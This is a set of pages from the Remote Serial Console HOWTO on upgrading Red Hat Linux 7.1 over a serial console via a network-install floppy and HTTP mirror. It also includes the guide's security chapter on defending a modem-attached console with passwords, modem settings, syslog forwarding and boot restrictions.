Record the current value of append=, boot= and linear in /etc/lilo.conf.

Example C-2. Displaying the LILO configuration

bash# fgrep append= /etc/lilo.conf
append="console=tty0 console=ttyS0,9600n8r"
bash# fgrep boot= /etc/lilo.conf
boot=/dev/hda
bash# fgrep linear /etc/lilo.conf
bash#

If the boot= parameter points to a hard disk then LILO is installed in the master boot record, or MBR. It can also point to a partition.

If the linear parameter is present then the hard disk that is booted from uses linear block addressing, or LBA.

Prev | Home | Next
Record network configuration | Up | Upgrade Red Hat distribution


Prepare a network install floppy diskette

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.4. Prepare a network install floppy diskette

The Red Hat Linux web site has a floppy diskette image for a network installation. For Red Hat Linux 7.1 the image is ftp://ftp.redhat.com/pub/redhat/linux/7.1/en/os/i386/images/bootnet.img.

Install this image on a floppy disk.

bash# mkfs -t msdos -c /dev/fd0
mkfs.msdos 2.2 (06 Jul 1999)
bash# dd if=bootnet.img of=/dev/fd0 bs=1440k
1+0 records in
1+0 records out
bash# sync

Now mount the diskette and check that the installer files are present.

bash# mount -t vfat /dev/fd0 /mnt/floppy
bash# ls /mnt/floppy
boot.msg    general.msg  ldlinux.sys  rescue.msg    vmlinuz
expert.msg  initrd.img   param.msg    syslinux.cfg

This floppy disk uses the SYSLINUX boot loader which was discussed in Section 4.3 and in Section 5.3. Firstly, we alter the boot loader configuration file /mnt/floppy/syslinux.cfg to use the serial port. If you are going to use the vi editor to alter this file, use the -n option to avoid writing a swap file to the floppy disk.

bash# vi -n /mnt/floppy/syslinux.cfg

serial 0 9600

Secondly we add a new boot option. This is modeled upon the other boot options in the file. Our variant passes the serial console parameters to the kernel, the same parameters that we pass during normal operation when using serial console. "serial" seems an appropriate name for the boot option.

label serial
 kernel vmlinuz
 append initrd=initrd.img lang= text serial expert devfs=nomount console=ttyS0,9600n8r

text, serial and expert are parameters to the Red Hat anaconda installer. Specifying text ensures that the graphical installer does not start. Specifying serial prevents scans for possibly non-existent video hardware. You will need to run Xconfigurator manually if you do have a video card. Specifying expert allows all the configuration options to be seen, giving one floppy image that can be used for all purposes.

Thirdly, we make this new configuration start automatically. As there is no-one at the site, there's no need to issue a boot: prompt.

default serial
prompt 0

Fourthy, we write the new configuration to diskette.

bash# umount /mnt/floppy

Check that the diskette boots. If it does not then write a new boot sector by downloading and running the most recent SYSLINUX.

bash# syslinux /dev/fd0

Finally, create a new boot image for copying to the computers to be upgraded.

bash# dd if=/dev/fd0 of=bootserialnet.img bs=1440k
1+0 records in
1+0 records out

If you test the new boot floppy on a machine with a serial console you should briefly see SYSLINUX booting

SYSLINUX 1.52 2001-02-07  Copyright (C) 1994-2001 H. Peter Anvin

and then presenting the boot.msg file and then the Linux kernel should be loaded

Loading initrd.img..............
Loading vmlinuz............. ready.

and run.

Linux version 2.4.2-2BOOT (root@porky.devel.redhat.com) (gcc version 2.96 200001

Next the init system flashes by

Greetings.
Red Hat install init version 7.0 starting
mounting /proc filesystem... done
mounting /dev/pts (unix98 pty) filesystem... done
Red Hat install init version 7.0 using a serial console
remember, cereal is an important part of a nutritionally balanced breakfast.
checking for NFS root filesystem...no
trying to remount root filesystem read write... done
checking for writeable /tmp... yes
running install...
running /sbin/loader

before the installation application, called anaconda, is started

Welcome to Red Hat Linux
+----------+ Devices +-----------+
|                                |
| Do you have a driver disk?     |
|                                |
|    +-----+          +----+     |
|    | Yes |          | No |     |
|    +-----+          +----+     |
|                                |
|                                |
+--------------------------------+
<Tab>/<Alt-Tab> between elements  | <Space> selects | <F12> next screen

There does not seem to be a way to access the function keys, fortunately the user interface does not require their use.

Now that the floppy has been tested, eject the disk and reboot the machine into normal operation.

Prev | Home | Next
Configure modem to ignore DTR and assert DCD | Up | Prepare HTTP server


Prepare HTTP server

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.5. Prepare HTTP server

It is best if the web server runs the version of Red Hat Linux as is being upgraded to. If it runs an earlier version, then do not rebuild the operating system on this machine and install anaconda-runtime from the later operating system.

Copy the Linux distribution to a local web server using a mirroring utility like wget. Alternatively the files can be copied from the distribution CDs to the web server.

bash$ mkdir --mode=664 --parents /var/www/html/redhat/linux/7.1/en/os/i386
bash$ umask 002
bash$ wget -nh -nH -r -N -nr -l0 -k -np -X SRPMS ftp://ftp.redhat.com/pub/redhat/linux/7.1/en/os/i386/ -P /var/www/html/redhat/linux/7.1/en/os/i386

It's best to use a mirror site in place of Red Hat's FTP site used in the example above.

It is very important not to gain files along the way. Delete any files generated by FTP servers, web servers and CD-ROMs.

bash$ cd /var/www/html/redhat
bash$ # Files added by FTP server
bash$ find . -name '.listing' -print -exec rm {} \;
bash$ find . -name 'ls-*' -print -exec rm {} \;
bash$ # Files added by a wget from a HTTP server
bash$ find . -name '\?*' -print -exec rm {} \;
bash$ # Files added by a CD-ROM
bash$ find . -name 'TRANS.TBL' -print -exec rm {} \;

We now need to add the latest updates to the distributed software. This is done to avoid the machine being compromised immediately following the upgrade.

Adding the updates is essential for Red Hat Linux 7.1, see Section A.1.

Collect together the updates RPMs from ftp://ftp.redhat.com/pub/updates/7.1/en/os/ in the subdirectories i386, i486, i586 i686, images and noarch.

Merge these updates into the copy of the distribution. For each updated RPM file, remove the original RPM file then replace it with the updated RPM file. For example:

bash$ cd /var/www/html/redhat/linux/7.1/en/os/i386/RedHat/RPMS
bash$ ls /var/www/html/redhat/updates/7.1/en/os/i386
SysVinit-2.78-17.i386.rpm
bash$ ls SysVinit-*.rpm
SysVinit-2.78-15.i386.rpm
bash$ rm SysVinit-2.78-15.i386.rpm
bash$ cp /var/www/html/redhat/updates/7.1/en/os/i386/SysVinit-2.78-17.i386.rpm .
bash$ chmod u=rw,g=r,o=r SysVinit-2.78-17.i386.rpm

Merge the RPMs from the updates subdirectories i386, i686 and noarch into /var/www/html/redhat/linux/7.1/en/os/i386/RedHat/RPMS. Merge the files from the directory /var/www/html/redhat/updates/7.1/en/os/images into the directory /var/www/html/redhat/linux/7.1/en/os/i386/images.

The file /var/www/html/redhat/linux/7.1/en/os/i386/RedHat/base/hdlist and hdlist2 contain the list of the RPMs to install. This needs to be modified to contain the names of the updated RPMs.

Install the anaconda-runtime RPM on the HTTP server. This RPM should be the same version as the Red Hat Linux being upgraded to.

Now create a new hdlist with the commands:

bash$ cd /usr/lib/anaconda-runtime
bash$ rm /var/www/html/redhat/linux/7.1/en/os/i386/RedHat/base/hdlist*
bash$ umask 002
bash$ ./genhdlist --withnumbers --hdlist /var/www/html/redhat/linux/7.1/en/os/i386/RedHat/base/hdlist /var/www/html/redhat/linux/7.1/en/os/i386

The distribution plus the updates can now be used for a network install. They cannot be used for a CD install, but that doesn't concern us.

As the distribution plus the updates is different from the original distribution, we should not use the version number of the original distribution. Appending the date to which the updates have been applied seems best.

bash$ cd /var/www/html/redhat/linux/
bash$ mv 7.1 7.1-20020202

Prev | Home | Next
Prepare a network install floppy diskette | Up | Record network configuration


Select boot disk

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.1. Select boot disk

The key to a remote upgrade is to be able to boot from floppy disk to perform the upgrade, and then to reboot from the hard disk. The possibilities are:

  1. Most BIOSs allow the boot disk order to be controlled through the BIOS' configuration. If the BIOS supports a serial console then the machine can be upgraded whilst leaving the floppy disk in the drive. No one need attend the site to upgrade the operating system

  2. Someone can insert a floppy disk before the upgrade and remove it afterwards. Most co-location sites will provide this level of ‘board-swap’ technical support.

  3. Two records of the CMOS memory which stores the BIOS configuration can be made: one for booting from floppy and another for booting from hard disk. Unfortunately the nvram device driver does not yet work on a wide enough variety of machines for this HOWTO to pursue this option further.

Prev | Home | Next
Upgrading Red Hat Linux from a serial console | Up | Configure the BIOS to use the serial port


Upgrade Red Hat distribution

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.8. Upgrade Red Hat distribution

In this section it all comes together. We will walk through an entire serial console upgrade, not that it differs much from a standard text mode upgrade.

Configure BIOS to boot from floppy or insert the floppy disk. Now reboot the machine.

bash# shutdown -r now
SYSLINUX 1.64 1.64-pre2   Copyright (C) 1994-2001 H. Peter Anvin
                Welcome to Red Hat Linux 7.1!
 -  To install or upgrade Red Hat Linux in graphical mode,
    press the <ENTER> key.
 -  To install or upgrade Red Hat Linux in text mode, type: text <ENTER>.
 -  To enable low resolution mode, type: lowres <ENTER>.
    Press <F2> for more information about low resolution mode.
 -  To disable framebuffer mode, type: nofb <ENTER>.
    Press <F2> for more information about disabling framebuffer mode.
 -  To enable expert mode, type: expert <ENTER>.
    Press <F3> for more information about expert mode.
 -  To enable rescue mode, type: linux rescue <ENTER>.
    Press <F5> for more information about rescue mode.
 -  If you have a driver disk, type: linux dd <ENTER>.
 -  Use the function keys listed below for more information.
[F1-Main] [F2-General] [F3-Expert] [F4-Kernel] [F5-Rescue]
boot:
Loading initrd.img..............
Loading vmlinuz............. ready.
Linux version 2.4.2-2BOOT (root@porky.devel.redhat.com) (gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-79)) #1 Sun Apr 8 18:24:33 EDT 2001

Because we have booted into expert mode, the menus differ slightly from the standard upgrade. For example, you probably don't have a driver disk.

 Welcome to Red Hat Linux
+----------+ Devices +-----------+
|                                |
| Do you have a driver disk?     |
|                                |
|    +-----+          +----+     |
|    | Yes |          |[No]|     |
|    +-----+          +----+     |
|                                |
+--------------------------------+

The upgrade then continues in the usual fashion.

+--------+ Choose a Language +---------+
|                                      |
| What language should be used during  |
| the installation process?            |
|                                      |
|            Czech       :             |
|          [ English     : ]           |
|            Danish      :             |
|            French      :             |
|            German      :             |
|            Hungarian   :             |
|            Icelandic   :             |
|            Italian     :             |
|                                      |
|               +----+                 |
|               |[OK]|                 |
|               +----+                 |
|                                      |
+--------------------------------------+

Select HTTP to upgrade from the web server we prepared previously.

+-----+ Installation Method +------+
|                                  |
| What type of media contains the  |
| packages to be installed?        |
|                                  |
|            NFS image             |
|            FTP                   |
|          [ HTTP ]                |
|                                  |
|     +----+         +------+      |
|     |[OK]|         | Back |      |
|     +----+         +------+      |
|                                  |
+----------------------------------+

Here we supply the network details recorded in Example C-1. If your network supports Dynamic Host Configuration Protocol or the Bootstrap Protocol then these work fine too.

+--------------------+ Configure TCP/IP +--------------------+
|                                                            |
| Please enter the IP configuration for this machine. Each   |
| item should be entered as an IP address in dotted-decimal  |
| notation (for example, 1.2.3.4).                           |
|                                                            |
|       [ ] Use dynamic IP configuration (BOOTP/DHCP)        |
|                                                            |
|           IP address:           10.1.2.3________           |
|           Netmask:              255.255.255.0___           |
|           Default gateway (IP): 10.1.2.254______           |
|           Primary nameserver:   10.255.1.1______           |
|                                                            |
|            +----+                      +------+            |
|            |[OK]|                      | Back |            |
|            +----+                      +------+            |
|                                                            |
+------------------------------------------------------------+

Provide the name of the pre-prepared web server. Note that the response to Red Hat directory must start with a /.

+-----------------+ HTTP Setup +-----------------------------------+
|                                                                  |
| Please enter the following information:                          |
|                                                                  |
|     o the name or IP number of your web server                   |
|     o the directory on that server containing                    |
|       Red Hat Linux for your architecure                         |
|                                                                  |
|   Web site name:     www.example.edu.au_______________________   |
|   Red Hat directory: /redhat/linux/7.1-20020202/en/os/i386____   |
|                                                                  |
|         +----+                 +------+                          |
|         |[OK]|                 | Back |                          |
|         +----+                 +------+                          |
|                                                                  |
+------------------------------------------------------------------+

The following status messages then fly by before the welcome screen appears.

Retrieving base/netstg1.img...
Loading /mnt/runtime ramdisk...
Retrieving base/netstg2.img...
Loading /mnt/runtime/usr ramdisk...
Running anaconda - please wait...
Graphical installation not available for http installs.  Starting text mode.

+----------------+ Red Hat Linux +-----------------+
|                                                  |
| Welcome to Red Hat Linux!                        |
|                                                  |
| This installation process is outlined in detail  |
| in the Official Red Hat Linux Installation       |
| Guide available from Red Hat Software. If you    |
| have access to this manual, you should read the  |
| installation section before continuing.          |
|                                                  |
| If you have purchased Official Red Hat Linux,    |
| be sure to register your purchase through our    |
| web site, http://www.redhat.com/.                |
|                                                  |
|         +----+                 +------+          |
|         |[OK]|                 | Back |          |
|         +----+                 +------+          |
|                                                  |
+--------------------------------------------------+

Select Upgrade Existing Installation, although this procedure works fine for installations as well.

+--------------+ Installation Type +--------------+
|                                                 |
| What type of system would you like to install?  |
|                                                 |
|          Workstation                            |
|          Server System                          |
|          Laptop                                 |
|          Custom System                          |
|        [ Upgrade Existing Installation ]        |
|                                                 |
|         +----+                +------+          |
|         | OK |                | Back |          |
|         +----+                +------+          |
|                                                 |
+-------------------------------------------------+

The upgrade continues. When the LILO Configuration screen appears insert the kernel parameters recorded from Example C-2. These parameters should include console=ttyS….

+---------------------+ LILO Configuration +---------------------+
|                                                                |
| A few systems will need to pass special options to the kernel  |
| at boot time for the system to function properly. If you need  |
| to pass boot options to the kernel, enter them now. If you     |
| don't need any or aren't sure, leave this blank.               |
|                                                                |
|       [ ] Use linear mode (needed for some SCSI drives)        |
|                                                                |
|        console=tty0 console=ttyS0,9600n8r______________        |
|                                                                |
|       +----+              +------+             +------+        |
|       | OK |              | Skip |             | Back |        |
|       +----+              +------+             +------+        |
|                                                                |
+----------------------------------------------------------------+

+-------------+ LILO Configuration +--------------+
|                                                 |
|  Where do you want to install the bootloader?   |
|                                                 |
|[/dev/hda         Master Boot Record (MBR)      ]|
| /dev/hda1        First sector of boot partition |
|                                                 |
|         +----+                +------+          |
|         | OK |                | Back |          |
|         +----+                +------+          |
|                                                 |
+-------------------------------------------------+

+----------------------+ LILO Configuration +-----------------------+
|                                                                   |
| The boot manager Red Hat uses can boot other operating systems    |
| as well. You need to tell me what partitions you would like to    |
| be able to boot and what label you want to use for each of them.  |
|                                                                   |
| Device      Partition type            Default Boot label          |
|[/dev/hda6   Linux Native              *       linux     ] :       |
|                                                           :       |
|                                                           :       |
|                                                           :       |
|                                                           :       |
|                                                                   |
|        +----+              +------+              +------+         |
|        | Ok |              | Edit |              | Back |         |
|        +----+              +------+              +------+         |
|                                                                   |
|                                                                   |
+-------------------------------------------------------------------+

The upgrade continues. As installing the packages may take a few hours, you can disconnect.

+-------------+ Package Installation +--------------+
|                                                   |
| Name   :                                          |
| Size   :                                          |
| Summary:                                          |
|                                                   |
|                  Packages       Bytes        Time |
| Total    :              0         0M              |
| Completed:              0         0M              |
| Remaining:              0         0M              |
|                                                   |
|                                                   |
+---------------------------------------------------+

If you disconnected, then when reconnecting it is best to press Tab rather than pressing Return.

Pressing Return on the Bootdisk screen writes a boot disk. This will overwrite the upgrade disk.

You may wish to deliberately create a boot disk if you cannot alter the BIOS parameters to boot from the hard disk, or if you cannot wait for someone to eject the floppy disk before rebooting.

+------------------+ Bootdisk +-------------------+
|                                                 |
| A custom boot disk provides a way of booting    |
| into your Linux system without depending on     |
| the normal bootloader. This is useful if you    |
| don't want to install lilo on your system,      |
| another operating system removes lilo, or lilo  |
| doesn't work with your hardware configuration.  |
| A custom boot disk can also be used with the    |
| Red Hat rescue image, making it much easier to  |
| recover from severe system failures.            |
|                                                 |
| Would you like to create a boot disk for your   |
| system?                                         |
|                                                 |
|         +-----+                 +----+          |
|         |[Yes]|                 | No |          |
|         +-----+                 +----+          |
|                                                 |
+-------------------------------------------------+

When the Complete screen appears prepare to reboot into Linux. If you have a serial BIOS be prepared to alter the BIOS parameters to boot from the hard disk first. If you do not have a serial BIOS ask someone to eject the floppy disk.

+-----------------+ Complete +------------------+
|                                               |
| Congratulations, installation is complete.  # |
|                                             : |
| Press return to reboot, and be sure to      : |
| remove your boot medium after the system    : |
| reboots, or your system will rerun the      : |
| install. For information on fixes which     : |
| are available for this release of Red Hat   : |
| Linux, consult the Errata available from    : |
| http://www.redhat.com/errata.               : |
|                                             : |
| Information on configuring and using your   : |
| Red Hat Linux system is contained in the    : |
|                                               |
|                    +----+                     |
|                    |[OK]|                     |
|                    +----+                     |
|                                               |
+-----------------------------------------------+

sending termination signals...done
sending kill signals...done
disabling swap...
    /tmp/swap/hda5
unmounting filesystems...
    /mnt/sysimage/var/www/html
    /mnt/sysimage/boot
    /mnt/sysimage/proc
    /mnt/runtime/usr
    /mnt/sysimage
    /proc/bus/usb
    /mnt/runtime
    /dev/pts
    /proc
rebooting system
Restarting system.

LILO
Loading linux......................
Linux version 2.4.3-12 (root@porky.devel.redhat.com) (gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-85)) #1 Fri Jun 8 15:05:56 EDT 2001

Prev | Home | Next
Record LILO configuration | Up | Create boot disk for serial console


Further references

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.10. Further references

Sometimes the kernel on the installation CD won't boot on the machine to be upgraded, or the filesystem requires modules that are not present. In this case you will need to build a new kernel and rebuild the installation disk to use the new kernel. This is documented in the RedHat7 CDs mini-HowTo. This is an informal HOWTO not available through the Linux Documentation Project.

An older document that more fully describes an older Red Hat distribution build process is Burning a RedHat CD HOWTO.

Prev | Home | Next
Create boot disk for serial console | Up | Terminal server configuration


Security

Remote Serial Console HOWTO
Prev Next

Chapter 9. Security

Table of Contents
9.1. Use good passwords
9.2. Obey Data Terminal Ready and Data Carrier Detect
9.3. Use or configure a dumb modem
9.4. Restrict console messages
9.4.1. Restrict console messages from the system log
9.4.2. Restrict console messages from broadcast messages
9.5. Modem features to restrict usage
9.6. BIOS features
9.7. Use a boot loader password
9.8. Non-interactive boot sequence
9.9. Magic SysRq key
9.10. Adjust behaviour of Ctrl-Alt-Delete
9.11. Log attempted access
9.12. Interception of telephony links

Using serial console with a modem gives anyone the opportunity to connect to the console port. This connection is not mediated by firewalls or intrusion detection sniffers. It is important to prevent the misuse of the serial console by unauthorized people.

The resurgence of the BBS-era technique of ‘war dialling’ is described in @Stake's Wardialling Brief and reported upon by The Register, see an extract in Figure 9-1.

Figure 9-1. Extract from Crackers favour war dialling and weak passwords

With all the talk about zero day exploits and sometimes esoteric vulnerabilities its easy to lose sight of the role of older, less sophisticated techniques as a mainstay of cracker activity.

During a hacking debate at InfoSecurity Europe yesterday [2002-04-25], black hat hacker KP said that when he broke into a network he did so 90 per cent of the time through an unprotected modem, often through war dialling.

War dialling involves systematically trying to locate the numbers associated with corporate modems through testing each extension of a corporate phone system in turn.

“Intrusion detection systems are no real deterrent for me because I get in through the back door,” he said. “Many networks are constructed like Baked Alaska — crunchy on the outside and soft in the middle.”

KP often takes advantage of weak or default passwords to break into networks…

Crackers favour war dialling and weak passwords
John Leyden, The Register, 2002-04-26.

Prev | Home | Next
Where to next from here? |  | Use good passwords


BIOS features

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.6. BIOS features

Most BIOSs can be configured with a ‘configuration password’. This should set and tested. Some motherboards will require a jumper to be set to allow the password to take effect. Some BIOSs have well-known ‘master passwords’, use a search engine to ensure that your BIOS is not one of these. The password should not be the same as the boot loader or root passwords.

The BIOS configuration will have a ‘boot order’ setting. It should be set to boot from the hard disk before any other media. This prevents someone inserting a rescue diskette, booting the machine, and gaining access to the filesystems as root.

Prev | Home | Next
Modem features to restrict usage | Up | Use a boot loader password


Use a boot loader password

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.7. Use a boot loader password

Configure the boot loader to request a password when booting a non-default image or when supplying parameters from the command line.

This prevents someone from dialing in during the boot sequence and booting the kernel with options to take control of the machine, as in Example 4-1.

The password should not be the same as the BIOS or root passwords.

Prev | Home | Next
BIOS features | Up | Non-interactive boot sequence


Adjust behaviour of CtrlAltDelete

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.10. Adjust behaviour of Ctrl-Alt-Delete

The IBM PC used Ctrl-Alt-Delete to launch a reboot of the computer. Linux traps this key chord and makes it available to the init system. This is done by sending the init process a SIGINT signal (although ctrlaltdel hard can undo this trap and make the key chord reboot the comptuer immediately). The init system uses /etc/inittab to determine how to handle the signal generated by the Ctrl-Alt-Delete key chord.

Most distributions cleanly reboot the system, mimicing the behaviour that most users expect. Figure 9-14 shows how this is done.

Figure 9-14. Default handling of Ctrl-Alt-Delete in /etc/inittab

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

Depending upon each individual site you may wish to disable Ctrl-Alt-Delete. This is shown in Figure 9-15.

Figure 9-15. Ignoring Ctrl-Alt-Delete in /etc/inittab

# Trap CTRL-ALT-DELETE and do nothing
ca::ctrlaltdel:

Alternatively, you may wish to cleanly shut down the computer. This is very easy to explain to operators and instructions can be displayed on the monitor using /etc/issue or a Post-it Note. If the computer uses Advanced Power Management (or APM) then shutting down the computer will also remove the power.

Figure 9-16. Shut down cleanly upon Ctrl-Alt-Delete in /etc/inittab

# Trap CTRL-ALT-DELETE and shut down
ca::ctrlaltdel:/sbin/shutdown -t3 -h now

Prev | Home | Next
Magic SysRq key | Up | Log attempted access


Obey Data Terminal Ready and Data Carrier Detect

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.2. Obey Data Terminal Ready and Data Carrier Detect

The RS-232 Data Terminal Ready signal is lowered when the computer wishes the modem to hang up. The computer wishes to hang up when people have ended their login session ends or when they fail to respond to the login: prompt.

Using a modem cable that has DTR wired and a modem that is configured to obey DTR is essential to prevent denial of service attacks upon the access to the console.

Without DTR a caller can simply hold the modem line open, denying system administrators access to the console.

The RS-232 Data Carrier Detect signal is lowered when the user hangs up.

Using a modem cable that has DCD wired and a modem that is configured to assert DCD is essential to prevent people dialling in after a user has hang up and from carrying on their session.

Without DCD the session is not cleared when an accidental disconnection occurs. This allows any subsequent caller to resume the previous session. The machine is totally compromised if the previous user was root.

Prev | Home | Next
Use good passwords | Up | Use or configure a dumb modem


Use or configure a dumb modem

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.3. Use or configure a dumb modem

Most modems use the Hayes AT command set. The modem's attention is gained by sending +++ surrounded by some idle time. Commands are then sent prefixed by AT.

Unfortunately, if the modem sees +++ during a call it may revert to command mode. The modem can then be configured by the caller. For example, the modem could be set to permit incoming calls only from the number ‘0’, this would deny the system administrators access to the modem.

The attention command can be removed using AT S2=255. Of course once that is done no more AT commands can be given to the modem, so any other configuration of the modem needs to be done prior to that command.

Unfortunately, when power to the modem is applied the modem starts in command mode. So a carefully chosen console message could disable the modem.

The best solution is to select a modem that has a ‘dumb’ or “select profile” DIP switch or jumper. These switches disable command mode and load the modem's saved configuration when they start.

Prev | Home | Next
Obey Data Terminal Ready and Data Carrier Detect | Up | Restrict console messages


Interception of telephony links

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.12. Interception of telephony links

Modems calls over telephones can be intercepted. This can be an issue if you do not trust a telecommunications carrier in your call's path, or do not trust the law enforcement agencies that may request interception facilities from that carrier.

International calls are particularly exposed. Calls which are routed across satellite or wireless links can be intercepted by readily-available radio receivers. Calls routed across undersea links are much more expensive to intercept, so this is probably limited to national governments, such as those using the Echelon system.

If you do not pass sensitive data over the link, then the major exposure is typing in your user name and password. Look into S/KEY or look into OPIE and its related An OPIE for PAM.

These one-time password systems have flaws, a good summary of these is Vulnerabilities in the S/KEY one time password system by Peiter ‘mudge’ Zatko.

Warning Interception-defeating key material

Possessing cryptographic key material, such as a one-time password generator or list of one-time passwords, which intended to defeat legislatively-permitted interception is a serious criminal offense in some countries.

You must acquiant yourself with the laws in your jurisdiction and the laws of jurisdictions you may travel through.

Prev | Home | Next
Log attempted access | Up | Configuring a kernel to support serial console


Log attempted access

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.11. Log attempted access

Look in the system logs for the output of getty. Add the monitoring of these messages to your log-watching procedures.

Prev | Home | Next
Adjust behaviour of Ctrl-Alt-Delete | Up | Interception of telephony links


Restrict console messages

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.4. Restrict console messages

9.4.1. Restrict console messages from the system log

Generating a stready stream of console messages can easily overwhelm a 9600bps link.

Although displaying all syslog messages on the console appears to be a good idea, this actually provides a nice method to deny effective use of the remote console.

Configure log messages to the console to the bare minimum, especially if the machine is sending syslog messages to a remote log server. Look in /etc/syslog.conf for lines ending with /dev/console.

None of the above prevents all log messages being sent to another machine for recording and analysis. Figure 9-2 shows the standard /etc/syslog.conf from Red Hat Linux 7.2 modified to record log messages to a log server. Each line of syslog.conf has been repeated to send a copy of the message to the log server. The log server has the DNS alias loghost.example.edu.au; this allows the log server to be moved without updating the configuration of all the remote machines. The local copy of the log message is no longer the only means of determining the cause of a system failure, so we can gain some performance advantage by disabling synchronous file writes, although this increases the odds of an inconsistent filesystem (an issue with filesystems that do not do journalling). Placing a - before the filename disables synchronous file writes.

Figure 9-2. /etc/syslog.conf modified to copy log messages to a log server

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none  @loghost.example.edu.au
*.info;mail.none;authpriv.none;cron.none  -/var/log/messages

# The authpriv file has restricted access.
authpriv.*                                @loghost.example.edu.au
authpriv.*                                /var/log/secure

# Log all the mail messages in one place.
mail.*                                    @loghost.example.edu.au
mail.*                                    -/var/log/maillog

# Log cron stuff
cron.*                                    @loghost.example.edu.au
cron.*                                    -/var/log/cron

# Everybody gets emergency messages
*.emerg                                   @loghost.example.edu.au
*.emerg                                   *

# Save news errors of level crit and higher in a special file.
uucp,news.crit                            @loghost.example.edu.au
uucp,news.crit                            -/var/log/spooler

# Save boot messages also to boot.log
local7.*                                  @loghost.example.edu.au
local7.*                                  -/var/log/boot.log

A log server is configured using the standard /etc/syslog.conf and also allowing remote syslog messages, shown for Red Hat Linux in Figure 9-3. Additionally, denial of services attacks are prevented by configuring IP Tables to restrict the sources of the syslog messages; and performance is improved by checking that nscd is running to cache reverse DNS lookups.

Figure 9-3. Allowing remote log messages by setting options in /etc/sysconfig/syslog

# Red Hat Linux default value, does not write timer mark messages
SYSLOGD_OPTIONS="-m 0"
# Add option to accept remote syslog messages
SYSLOGD_OPTIONS="${SYSLOGD_OPTIONS} -r"

Figure 9-4. Restrict syslog messages to remote.example.edu.au

 bash# chkconfig iptables on
 bash# /etc/init.d/iptables restart
# Allow all IP traffic from this machine
 bash# iptables --append INPUT --source 127.0.0.0/8 --in-interface lo --jump ACCEPT
# Allow other traffic you may like
…
# Accept syslog messages from remote.example.edu.au
 bash# iptables --append INPUT --source remote.example.edu.au --protocol udp --destination-port syslog -j ACCEPT
# Silently drop unexpected syslog messages
 bash# iptables --append INPUT --protocol udp --destination-port syslog -j DROP
# Save the running configuration
 bash# /etc/init.d/iptables save

Figure 9-5. Using nscd to cache reverse DNS lookups

bash# chkconfig nscd on
bash# /etc/init.d/nscd restart

9.4.2. Restrict console messages from broadcast messages

Users that are logged into the serial console should not accept broadcast messages. Add new files to /etc/profile.d to do this. Figure 9-6 shows a file for use by the Bourne shell.

Figure 9-6. Restrict sending of messages to console user

#
# Do we have files referred to?
if [ -x /usr/bin/mesg -a -x /usr/bin/tty ]
then
  # Are we on serial console?
  if [ `/usr/bin/tty` = /dev/ttyS0 ]
  then
    # Do not accept broadcast messages
    /usr/bin/mesg n
  fi
fi

As this file is run frequently, we use a faster but less readable version of Figure 9-6, shown in Figure 9-7.

Figure 9-7. Restrict sending of messages to console user, /etc/profile.d/mesg.sh

#
# /etc/profile.d/mesg.sh -- prevent people hassling the serial console user
[ -x /usr/bin/mesg -a -x /usr/bin/tty -a `/usr/bin/tty` = /dev/ttyS0 ] && /usr/bin/mesg n

We also need a C shell version, shown in Figure 9-8.

Figure 9-8. Restrict sending of messages to console user, /etc/profile.d/mesg.csh

#
# /etc/profile.d/mesg.csh -- prevent people hassling the serial console user
if (-X mesg && -X tty && `tty` == /dev/ttyS0) then
  mesg n
endif

Although mesg.sh and mesg.csh are included by the parent shell rather than executed, the files need the execute permission set. The procedure in Figure 9-9 installs the files and sets the permissions.

Figure 9-9. Install files into /etc/profile.d

bash# cp mesg.*sh /etc/profile.d/
bash# chown root:root /etc/profile.d/mesg.*sh
bash# chmod u=rwx,g=rx,o=rx /etc/profile.d/mesg.*sh

Prev | Home | Next
Use or configure a dumb modem | Up | Modem features to restrict usage


Modem features to restrict usage

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.5. Modem features to restrict usage

Most modems support the addition of a password. This is not particularly useful as it has the same strengths and weaknesses of all other password authentication schemes. We already have password authentication in the BIOS, in the boot loader and in login.

Many modems support call-back. The modem is called and a few seconds after hang-up it calls a pre-configured number. This limits the locations that can gain access to the console.

Many modems support checking the calling line identification (CLI) against a predefined list. If the calling number is not on the list then the call is cleared. The phone line to the modem must be configured to send CLI, this may incur an additional charge from the phone company. Not all calling phones can send CLI and some valid callers may have asked their phone company to suppress the sending of CLI.

Many modems can be configured to log the calling line identification. This is useful when tracing misuse.

Many modems support encryption. Some modems allow multiple keys. This gives a neat solution: only authorized modems can dial in, but they can do so from any location. The modems usually need to be of the same make, and perhaps of the same model.

Warning Encryption dual-use technology

Possessing, using, buying, selling, importing or exporting modems with encryption features is a serious criminal offense in some countries.

You must acquiant yourself with the laws in your jurisdiction and the laws of jurisdictions you may travel through.

Many telephone services or PBX lines can be set to allow only incoming calls. This is useful as it prevents misuse of the modem should the computer be compromised. A ‘demon dialler’ can call many numbers seeking an answering modem and the cost of these calls can be significant.

Prev | Home | Next
Restrict console messages | Up | BIOS features


Use good passwords

Remote Serial Console HOWTO
Prev Chapter 9. Security Next

9.1. Use good passwords

Anyone that can guess the BIOS password, the boot loader password, or the root password can get full control of the machine. These should be different, unrelated, excellent passwords. Random text and digits are by far the best choice. You should never use a password that you think would return a hit from a search engine.[1]

Guessing a user's password is only slightly less severe, as a hacker can obtain root access simply by waiting. The hacker waits for a ‘local exploit’ for a flaw in the operating system to appear and uses that exploit before the machine is patched.

Severely limit the number of users on the machine. Ensure that only good passwords are chosen by using a fascist password checker such as a cracklib-based PAM module.

